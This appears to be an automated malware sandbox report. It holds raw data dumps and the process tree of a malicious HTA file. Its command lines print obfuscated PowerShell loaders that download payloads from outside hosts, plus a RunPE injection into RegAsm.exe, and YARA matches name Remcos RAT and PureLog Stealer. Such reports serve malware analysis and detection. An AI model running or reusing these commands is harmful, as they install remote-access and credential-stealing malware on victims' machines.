2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 38 52 43 53 68 31 41 67 41 47 62 7a 49 6a 41 41 59 52 43 57 2f 47 49 67 41 47 4b 48 59 43 41 41 5a 76 4d 69 4d 41 42 69 68 30 41 67 41 47 45 77 38 67 43 51 41 41 41 48 37 46 43 41 41 45 65 38 49 49 41 41 51 36 7a 50 37 2f 2f 79 59 67 44 51 41 41 41 44 6a 42 2f 76 2f 2f 45 51 49 54 41 79 41 49 41 41 41 41 2f 67 34 4b 41 44 69 72 2f 76 2f 2f 4f 42 73 42 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 37 4d 49 41 41 51 36 6c 76 37 2f 2f 79 59 67 41 41 41 41 41 44 69 4c 2f 76 2f 2f 45 51 45 67 70 30 47 63 33 79 41 44 41 41 41 41 59 79 42 63 44 35 4f 49 59 58 37 46 43 41 41 45 65 38 51 49 41 41 52 68 4b 46 51 43 41 41 59 6f 59 77 49 41 42 68 4d 43 49 42 34 41 41 41 41 34 56 2f 37 2f 2f 78 45 48 4f 6c 6f 42 41 41 41 67 43 67 41 41 41 48 37 46 43 41 41 45 65 Data Ascii: 8RCSh1AgAGbzIjAAYRCW/GIgAGKHYCAAZvMiMABih0AgAGEw8gCQAAAH7FCAAEe8IIAAQ6zP7//yYgDQAAADjB/v//EQITAyAIAAAA/g4KADir/v//OBsBAAAgAAAAAH7FCAAEe7MIAAQ6lv7//yYgAAAAADiL/v//EQEgp0Gc3yADAAAAYyBcD5OIYX7FCAAEe8QIAARhKFQCAAYoYwIABhMCIB4AAAA4V/7//xEHOloBAAAgCgAAAH7FCAAEe
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 41 41 4f 4d 37 38 2f 2f 38 52 41 54 6b 71 2f 66 2f 2f 49 41 63 41 41 41 42 2b 78 51 67 41 42 48 76 6b 43 41 41 45 4f 72 50 38 2f 2f 38 6d 49 41 49 41 41 41 41 34 71 50 7a 2f 2f 77 41 41 41 52 41 41 41 41 49 41 71 77 44 35 70 41 46 33 41 41 41 41 41 43 5a 2b 6f 51 41 41 42 42 54 2b 41 53 6f 41 41 42 70 2b 6f 51 41 41 42 43 6f 41 4b 76 34 4a 41 41 42 76 5a 51 41 41 43 69 6f 41 4b 76 34 4a 41 41 42 76 54 51 41 41 43 69 6f 41 4c 67 44 2b 43 51 41 41 4b 50 77 6c 41 41 59 71 4c 67 44 2b 43 51 41 41 4b 4c 45 45 41 41 59 71 4b 76 34 4a 41 41 42 76 2b 51 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 2b 41 49 41 42 69 6f 41 4b 76 34 4a 41 41 42 76 45 43 4d 41 42 69 6f 41 4c 67 44 2b 43 51 41 41 4b 43 55 42 41 41 6f 71 48 67 41 6f 73 41 51 41 42 69 70 4b 2f 67 6b 41 41 Data Ascii: AAOM78//8RATkq/f//IAcAAAB+xQgABHvkCAAEOrP8//8mIAIAAAA4qPz//wAAARAAAAIAqwD5pAF3AAAAACZ+oQAABBT+ASoAABp+oQAABCoAKv4JAABvZQAACioAKv4JAABvTQAACioALgD+CQAAKPwlAAYqLgD+CQAAKLEEAAYqKv4JAABv+QIABioAKv4JAABv+AIABioAKv4JAABvECMABioALgD+CQAAKCUBAAoqHgAosAQABipK/gkAA
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 6f 49 41 41 51 36 59 50 2f 2f 2f 79 59 67 43 41 41 41 41 44 68 56 2f 2f 2f 2f 4f 47 30 41 41 41 41 67 42 77 41 41 41 48 37 46 43 41 41 45 65 37 67 49 41 41 51 36 50 50 2f 2f 2f 79 59 67 42 41 41 41 41 44 67 78 2f 2f 2f 2f 41 41 49 6f 43 77 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 75 67 67 41 42 44 6b 57 2f 2f 2f 2f 4a 69 41 42 41 41 41 41 4f 41 76 2f 2f 2f 38 41 49 49 66 62 73 78 73 67 6d 4f 66 75 4f 6c 67 67 64 4f 74 35 55 57 46 2b 78 51 67 41 42 48 73 43 43 51 41 45 59 53 67 37 41 77 41 47 4b 44 77 44 41 41 5a 36 42 47 39 67 41 41 41 4b 46 79 68 76 41 77 41 47 45 77 49 67 42 67 41 41 41 48 37 46 43 41 41 45 65 37 30 49 41 41 51 36 77 66 37 2f 2f 79 59 67 43 51 41 41 41 44 69 32 2f 76 2f 2f 41 41 51 55 2f 67 45 54 41 53 41 44 41 41 41 41 4f Data Ascii: oIAAQ6YP///yYgCAAAADhV////OG0AAAAgBwAAAH7FCAAEe7gIAAQ6PP///yYgBAAAADgx////AAIoCwMABiACAAAAfsUIAAR7uggABDkW////JiABAAAAOAv///8AIIfbsxsgmOfuOlggdOt5UWF+xQgABHsCCQAEYSg7AwAGKDwDAAZ6BG9gAAAKFyhvAwAGEwIgBgAAAH7FCAAEe70IAAQ6wf7//yYgCQAAADi2/v//AAQU/gETASADAAAAO
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 41 41 4f 4b 37 2f 2f 2f 38 52 41 44 70 2f 41 41 41 41 49 41 51 41 41 41 41 34 6e 66 2f 2f 2f 78 45 43 4f 71 49 41 41 41 41 67 41 41 41 41 41 48 37 46 43 41 41 45 65 38 4d 49 41 41 51 36 67 76 2f 2f 2f 79 59 67 41 41 41 41 41 44 68 33 2f 2f 2f 2f 41 41 49 6f 70 41 4d 41 42 69 41 43 41 41 41 41 66 73 55 49 41 41 52 37 76 67 67 41 42 44 70 63 2f 2f 2f 2f 4a 69 41 44 41 41 41 41 4f 46 48 2f 2f 2f 38 41 4b 67 41 44 46 43 69 79 41 77 41 47 45 77 41 67 42 51 41 41 41 44 67 37 2f 2f 2f 2f 4f 44 41 41 41 41 41 67 43 41 41 41 41 50 34 4f 41 51 41 34 4a 50 2f 2f 2f 77 41 67 4a 47 76 43 36 53 41 58 47 50 4f 77 59 58 37 46 43 41 41 45 65 38 41 49 41 41 52 68 4b 4b 30 44 41 41 59 6f 73 51 51 41 42 6e 6f 43 65 37 4d 41 41 41 51 54 41 69 41 48 41 41 41 41 4f 50 54 2b 2f Data Ascii: AAOK7///8RADp/AAAAIAQAAAA4nf///xECOqIAAAAgAAAAAH7FCAAEe8MIAAQ6gv///yYgAAAAADh3////AAIopAMABiACAAAAfsUIAAR7vggABDpc////JiADAAAAOFH///8AKgADFCiyAwAGEwAgBQAAADg7////ODAAAAAgCAAAAP4OAQA4JP///wAgJGvC6SAXGPOwYX7FCAAEe8AIAARhKK0DAAYosQQABnoCe7MAAAQTAiAHAAAAOPT+/
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 4d 41 41 41 45 6f 38 67 4d 41 42 69 6a 7a 41 77 41 47 45 78 51 67 42 51 41 41 41 48 37 46 43 41 41 45 65 78 49 4a 41 41 51 36 42 65 66 2f 2f 79 59 67 41 51 41 41 41 44 6a 36 35 76 2f 2f 41 41 4b 6c 6c 51 41 41 41 58 4f 4d 41 51 41 4b 6a 4a 63 41 41 41 45 54 41 79 41 67 41 41 41 41 4f 4e 33 6d 2f 2f 38 41 45 51 48 51 43 67 41 41 41 53 6a 79 41 77 41 47 4b 50 4d 44 41 41 59 54 48 79 41 4b 41 41 41 41 4f 4c 2f 6d 2f 2f 38 34 73 4f 2f 2f 2f 79 41 4c 41 41 41 41 66 73 55 49 41 41 52 37 33 77 67 41 42 44 71 6d 35 76 2f 2f 4a 69 42 4a 41 41 41 41 4f 4a 76 6d 2f 2f 38 34 32 50 72 2f 2f 79 42 32 41 41 41 41 4f 49 7a 6d 2f 2f 38 41 41 6d 38 6c 41 41 41 4b 4b 4b 49 41 41 41 6f 6f 41 41 51 41 42 6f 79 57 41 41 41 42 45 77 4d 67 44 77 41 41 41 50 34 4f 4c 67 41 34 59 Data Ascii: MAAAEo8gMABijzAwAGExQgBQAAAH7FCAAEexIJAAQ6Bef//yYgAQAAADj65v//AAKllQAAAXOMAQAKjJcAAAETAyAgAAAAON3m//8AEQHQCgAAASjyAwAGKPMDAAYTHyAKAAAAOL/m//84sO///yALAAAAfsUIAAR73wgABDqm5v//JiBJAAAAOJvm//842Pr//yB2AAAAOIzm//8AAm8lAAAKKKIAAAooAAQABoyWAAABEwMgDwAAAP4OLgA4Y
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 45 41 41 41 42 2b 78 51 67 41 42 48 76 71 43 41 41 45 4f 53 37 2f 2f 2f 38 6d 49 41 45 41 41 41 41 34 49 2f 2f 2f 2f 77 41 54 4d 41 51 41 52 67 41 41 41 4d 73 41 41 42 45 41 41 67 4d 45 4b 50 30 42 41 41 6f 41 41 6e 76 38 41 51 41 4b 4f 68 67 41 41 41 41 44 46 6a 38 52 41 41 41 41 41 77 49 6f 2f 67 45 41 43 76 34 43 46 76 34 42 4f 41 45 41 41 41 41 57 43 67 59 35 45 41 41 41 41 41 41 43 65 2f 51 42 41 41 6f 44 42 47 2f 65 41 51 41 4b 41 41 41 71 41 41 41 54 4d 41 51 41 6c 51 45 41 41 41 51 41 41 42 45 67 41 77 41 41 41 50 34 4f 41 41 41 34 41 41 41 41 41 50 34 4d 41 41 42 46 43 77 41 41 41 4b 77 41 41 41 43 48 41 41 41 41 30 77 41 41 41 4f 49 41 41 41 42 55 41 41 41 41 4b 51 41 41 41 41 55 41 41 41 42 45 41 41 41 41 47 67 45 41 41 50 51 41 41 41 43 71 41 Data Ascii: EAAAB+xQgABHvqCAAEOS7///8mIAEAAAA4I////wATMAQARgAAAMsAABEAAgMEKP0BAAoAAnv8AQAKOhgAAAADFj8RAAAAAwIo/gEACv4CFv4BOAEAAAAWCgY5EAAAAAACe/QBAAoDBG/eAQAKAAAqAAATMAQAlQEAAAQAABEgAwAAAP4OAAA4AAAAAP4MAABFCwAAAKwAAACHAAAA0wAAAOIAAABUAAAAKQAAAAUAAABEAAAAGgEAAPQAAACqA
2024-09-25 16:50:13 UTC	16384	IN	Data Raw: 41 44 41 6e 74 45 41 67 41 4b 2f 67 51 4c 42 7a 6b 67 41 41 41 41 41 41 4a 37 52 51 49 41 43 67 4d 43 65 30 55 43 41 41 6f 44 46 31 67 43 65 30 51 43 41 41 6f 44 57 53 6a 51 41 51 41 4b 41 41 41 43 65 30 55 43 41 41 6f 44 42 4b 51 31 41 41 41 62 41 67 4a 37 52 41 49 41 43 68 64 59 66 55 51 43 41 41 6f 71 41 41 41 54 4d 41 4d 41 54 77 41 41 41 41 4d 42 41 42 45 41 41 6e 74 45 41 67 41 4b 43 6a 67 75 41 41 41 41 41 41 59 58 57 51 6f 43 65 30 55 43 41 41 6f 47 6f 7a 55 41 41 42 75 4d 4e 51 41 41 47 77 4f 4d 4e 51 41 41 47 2f 34 42 43 77 63 35 43 41 41 41 41 41 41 47 44 44 67 54 41 41 41 41 41 41 59 57 2f 67 49 4e 43 54 72 48 2f 2f 2f 2f 46 51 77 34 41 41 41 41 41 41 67 71 41 42 4d 77 41 77 41 74 41 41 41 41 62 41 41 41 45 51 41 43 41 79 6a 47 41 51 41 4b 43 Data Ascii: ADAntEAgAK/gQLBzkgAAAAAAJ7RQIACgMCe0UCAAoDF1gCe0QCAAoDWSjQAQAKAAACe0UCAAoDBKQ1AAAbAgJ7RAIAChdYfUQCAAoqAAATMAMATwAAAAMBABEAAntEAgAKCjguAAAAAAYXWQoCe0UCAAoGozUAABuMNQAAGwOMNQAAG/4BCwc5CAAAAAAGDDgTAAAAAAYW/gINCTrH////FQw4AAAAAAgqABMwAwAtAAAAbAAAEQACAyjGAQAKC

Target ID:	0
Start time:	12:49:58
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\mshta.exe
Wow64 process (32bit):	true
Commandline:	mshta.exe "C:\Users\user\Desktop\LJ1IZDkHyE.hta"
Imagebase:	0x420000
File size:	13'312 bytes
MD5 hash:	06B02D5C097C7DB1F109749C45F3F505
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	1
Start time:	12:49:59
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\system32\cmd.exe" "/C PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Imagebase:	0x790000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	2
Start time:	12:49:59
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	12:49:59
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	PoWerSHELl -Ex bYPass -nOp -w 1 -C DEVIcEcRedeNTIaldeplOymeNt.eXe ; IEX($(ieX('[SYstem.TEXt.eNcODiNG]'+[char]0X3a+[CHAR]58+'uTf8.GETSTRiNG([SySTEm.COnveRt]'+[cHAR]0X3A+[CHAR]58+'fRoMbasE64StrinG('+[ChAr]0X22+'JDBGICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIEFEZC10eVBlICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJlckRFRmlOSXRJT24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgiVVJsTU9OLkRsbCIsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHhzd0Isc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdkNBeW1xSFcsc3RyaW5nICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0RyLHVpbnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMUixJbnRQdHIgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBncHlSc3VoKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5BTWUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAia28iICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLU5BTUVzUGFjRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHpncmZ6QmtEbGllICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQwRjo6VVJMRG93bmxvYWRUb0ZpbGUoMCwiaHR0cDovLzEwNC4xNjguMzIuMTQ4LzM0NS9uaWNlbWVldGluZ3NvZnBpY3R1cmVjbGVhcnRoaW5nc3RvYmUudElGIiwiJGVudjpBUFBEQVRBXG5pY2VtZWV0aW5nc29mcGljdHVyZWNsZWFydGhpbmdzdG9iLlZicyIsMCwwKTtzdGFyVC1zTGVFcCgzKTtTVGFSVCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcbmljZW1lZXRpbmdzb2ZwaWN0dXJlY2xlYXJ0aGluZ3N0b2IuVmJzIg=='+[CHAr]0x22+'))')))"
Imagebase:	0xfb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	4
Start time:	12:50:02
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\rfrvbpim\rfrvbpim.cmdline"
Imagebase:	0xc10000
File size:	2'141'552 bytes
MD5 hash:	EB80BB1CA9B9C7F516FF69AFCFD75B7D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	5
Start time:	12:50:04
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES9FA0.tmp" "c:\Users\user\AppData\Local\Temp\rfrvbpim\CSCF3108577CD134F5DA2E7D7F2BD5C877.TMP"
Imagebase:	0xf30000
File size:	46'832 bytes
MD5 hash:	70D838A7DC5B359C3F938A71FAD77DB0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	6
Start time:	12:50:09
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\nicemeetingsofpictureclearthingstob.Vbs"
Imagebase:	0x1b0000
File size:	147'456 bytes
MD5 hash:	FF00E0480075B095948000BDC66E81F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	7
Start time:	12:50:09
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCdnJysnWUZ1cmwgPSAnKydDJysnTkEnKydodHQnKydwcycrJzovJysnL2lhNjAwMTAwJysnLnVzLicrJ2FyY2hpdmUuJysnb3JnLzI0LycrJ2l0JysnZW1zLycrJ2RldGEnKydoLW4nKydvJysndGUtJysndi9EZXRhaE4nKydvdGVWJysnLicrJ3R4dENOQScrJztnWUZiYXNlJysnNjRDb250ZW50ICcrJz0gKE5lJysndycrJy1PYmonKydlYycrJ3QnKycgU3lzdCcrJ2VtLk4nKydldCcrJy5XZWJDbGllbicrJ3QpJysnLkRvd25sb2FkJysnU3RyaW5nKGdZRicrJ3VybCknKyc7ZycrJ1lGYmluYXInKyd5JysnQ29udGVudCA9ICcrJ1tTeXN0ZW0nKycuQ29uJysndmVydCcrJ106OkZyb21CYXNlNjRTJysndCcrJ3JpbmcnKycoZ1knKydGYicrJ2FzZScrJzY0Q29udCcrJ2UnKyduJysndCk7ZycrJ1lGYScrJ3MnKydzJysnZW1ibCcrJ3kgPSBbUmVmbCcrJ2VjJysndGknKydvbi5BJysnc3MnKydlbWJseScrJ10nKyc6OicrJ0xvYWQoZ1lGYmknKyduYXJ5JysnQ29uJysndGVudCcrJyk7Z1lGdHlwZSA9IGdZRmEnKydzc2VtJysnYmx5LkcnKydldFR5cGUnKycoQ05BUnVuUEUnKycuSCcrJ29tJysnZUNOJysnQSk7Z1lGJysnbWUnKyd0aCcrJ29kID0gZ1lGdCcrJ3lwZS5HZXRNZXRob2QoQ05BVicrJ0FJQ05BKTtnWUZtZXRob2QuSW52b2tlKGdZRicrJ251bGwsIFtvYmplYycrJ3RbJysnXV1AKENOQXR4dC4nKydBWlBQSEMvNTQnKyczLzg0MS4nKycyMy44NjEnKycuJysnNDAxLy86cHR0aENOQSAsIENOQWRlc2F0aXZhZG9DTkEgLCBDTkFkZXNhdGl2YScrJ2RvQ04nKydBICwnKycgQ04nKydBJysnZGVzYXRpdicrJ2EnKydkb0NOQSxDJysnTkFSZScrJ2dBc21DTkEnKycsQycrJ05BQ05BJysnKSknKS5yRVBsYUNFKCdDTkEnLFtzdHJJbmddW0NIYXJdMzkpLnJFUGxhQ0UoJ2dZRicsJyQnKSB8IC4gKCAkZU5WOkNPbXNwRWNbNCwyNiwyNV0tak9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Imagebase:	0xfb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	8
Start time:	12:50:09
Start date:	25/09/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Target ID:	9
Start time:	12:50:10
Start date:	25/09/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "('g'+'YFurl = '+'C'+'NA'+'htt'+'ps'+':/'+'/ia600100'+'.us.'+'archive.'+'org/24/'+'it'+'ems/'+'deta'+'h-n'+'o'+'te-'+'v/DetahN'+'oteV'+'.'+'txtCNA'+';gYFbase'+'64Content '+'= (Ne'+'w'+'-Obj'+'ec'+'t'+' Syst'+'em.N'+'et'+'.WebClien'+'t)'+'.Download'+'String(gYF'+'url)'+';g'+'YFbinar'+'y'+'Content = '+'[System'+'.Con'+'vert'+']::FromBase64S'+'t'+'ring'+'(gY'+'Fb'+'ase'+'64Cont'+'e'+'n'+'t);g'+'YFa'+'s'+'s'+'embl'+'y = [Refl'+'ec'+'ti'+'on.A'+'ss'+'embly'+']'+'::'+'Load(gYFbi'+'nary'+'Con'+'tent'+');gYFtype = gYFa'+'ssem'+'bly.G'+'etType'+'(CNARunPE'+'.H'+'om'+'eCN'+'A);gYF'+'me'+'th'+'od = gYFt'+'ype.GetMethod(CNAV'+'AICNA);gYFmethod.Invoke(gYF'+'null, [objec'+'t['+']]@(CNAtxt.'+'AZPPHC/54'+'3/841.'+'23.861'+'.'+'401//:ptthCNA , CNAdesativadoCNA , CNAdesativa'+'doCN'+'A ,'+' CN'+'A'+'desativ'+'a'+'doCNA,C'+'NARe'+'gAsmCNA'+',C'+'NACNA'+'))').rEPlaCE('CNA',[strIng][CHar]39).rEPlaCE('gYF','$') \| . ( $eNV:COmspEc[4,26,25]-jOiN'')"
Imagebase:	0xfb0000
File size:	433'152 bytes
MD5 hash:	C32CA4ACFCC635EC1EA6ED8A34DF5FAC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.2263876284.00000000060CF000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PureLogStealer, Description: Yara detected PureLog Stealer, Source: 00000009.00000002.2285326980.0000000008730000.00000004.08000000.00040000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000009.00000002.2263876284.0000000005F8B000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 00000009.00000002.2263876284.0000000006395000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	11
Start time:	12:50:18
Start date:	25/09/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Imagebase:	0x6b0000
File size:	65'440 bytes
MD5 hash:	0D5DF43AF2916F47D00C1573797C1A13
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000B.00000002.4500391672.0000000000DBB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000B.00000002.4501290149.00000000028DE000.00000004.00000010.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Remcos, Description: Yara detected Remcos RAT, Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_UACBypassusingCMSTP, Description: Yara detected UAC Bypass using CMSTP, Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Remcos_b296e965, Description: unknown, Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: REMCOS_RAT_variants, Description: unknown, Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: INDICATOR_SUSPICIOUS_EXE_UACBypass_CMSTPCOM, Description: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003), Source: 0000000B.00000002.4499091602.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: ditekSHen
Reputation:	high
Has exited:	false